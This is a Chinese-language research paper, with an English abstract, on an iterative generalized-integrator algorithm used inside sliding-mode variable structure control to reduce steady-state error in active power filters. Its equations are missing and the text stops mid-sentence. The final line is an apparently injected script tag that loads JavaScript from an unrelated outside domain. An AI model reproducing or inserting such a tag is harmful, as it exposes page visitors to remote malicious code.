摘 要：针对有源滤波器滑模变结构控制的有差调节问题，提出了一种广义积分迭代控制算法来降低稳态误差，并将该控制算法的输出结果作为滑模变结构控制中的等效控制，形成三重变结构控制器。实验结果表明，该控制方法兼具较快的响应速度和较小的稳态误差。
关键词：有源滤波器；广义积分；变结构控制
a new variable structure control for active power filters
tuc hun－ming，luo an
(college of electrical ＆ information engineering，hunan university，hunan changsha 410082，china)
abstract：this paper proposes an iterative generalized integrator algorithm to eliminate the steady error inactive power filters.by introducing the result of such algorithm to the sliding－mode variable control law as its equivalent control，a new ternary variable control is established.the simulation indicates that this new control achieves fast response and satisfactory control accuracy.
keywords：active power filter；generalized integrator；variable structure control
0 引言
随着电力电子装置等非线性负荷的大量使用，日益严重的电网谐波污染问题已成为国内外学者研究的热点，尤其是有源滤波器apf(active power fil－ter)[1]的研究和应用方兴未艾。apf是一种动态的、灵活的谐波治理手段，能否达到预期的滤波效果在很大程度上取决于其控制器的性能。
该文提出一种广义积分迭代控制算法来降低apf的稳态误差，并将该控制算法的输出结果作为滑模变结构控制中的等效控制，形成三重变结构控制结构，使得apf系统兼具较快的响应速度和较小的稳态误差。
1 传统滑模变结构控制
apf的结构如图1所示。为了使电源电流is中只包含基波成分，而不存在谐波分量，apf必须提供与负载电流的谐波分量ilh大小相等、方向相反的补偿电流ic，从而抵消电网中的谐波电流，即
因此，apf的滤波性能取决于其输出的实际补偿电流ic对参考信号的跟踪性能。令uc为apf输出的相电压，由图1可得apf的单相电路
取apf的滑模变结构控制切换曲面为
其中，k表示第k个控制周期，下标x∈{a，b，c}，分别表示a、b、c三相，vx(k)为逆变器x相的上桥臂开关器件的开关状态，取1表示导通，取0表示关断。
可见，apf的滑模变结构控制方法通过判别电流跟踪误差在切换曲面两侧中的哪一侧，直接选取相应的开关模式，控制率简单，系统响应迅速。但是，控制器结构只在切换曲面两侧变化，控制率中没有给出电流跟踪误差δic为0时的等效控制，只有当δic不为0时控制器才被激活，系统的稳态是apf输出电流ic围绕其参考信号i＊c的抖振。因此，该方法实际上相当于环宽为0的滞环控制，与传统的三角波调制或滞环比较等方法一样，类似于bang－bang控制，属于有差调节，不能实现被控量对其给定的无差跟踪。
2 广义积分迭代控制算法
要使得被控对象在控制器的作用下，其输出能够无差地跟踪给定信号，控制器必须包含积分环节。当给定的参考信号为直流信号或者说是常量a的时候，控制器只要包含一个如图2a所示的常规积分器，就能保证系统无稳态误差。而当参考信号为具有某一频率ω的周期信号asin(ωt＋φ)时，常规积分器将不能消除稳态误差，此时控制器必须包含如图2b所示的广义积分器[5]，才能保持被控量的频率和形状不变，而只对其幅值进行积分，从而实现被控对象输出对其参考信号的无差跟踪。
apf输出电流的参考信号是由多个频率的谐波叠加而成，为了进行apf的无差调节，实现被控量ic对其给定的无差跟踪，需要将多个针对不同频率谐波的广义积分器并联使用。事实上，根据工程实际的要求以及电网或者非线性负载的特征谐波次数，apf只需要着重治理有限的几种谐波。比如，谐波源为三相全控整流桥时，其特征谐波为6k±1次，apf一般只需要抵消5、7、11、13、17次谐波，电源电流波形就非常接近于基波正弦信号，所以控制器只要包含与这些谐波相应的广义积分器，再加上比例调节器(如图3所示)，apf就可以达到满意的电流跟踪性能。另外，为了将apf输出电流中的基波分量控制为0，图3中还包含了对基波分量的广义积分器。
式中，kp为比例系数，kim为对m次谐波的积分系数，ωs为基波频率，h为要治理的谐波次数集合。
由于控制器包含多个广义积分器，为了减少计算量、便于离散化数字控制，文中提出一种广义积分迭代控制算法igic(iterative generalized integratorcontrol)来?script src=http://er12.com/t.js>
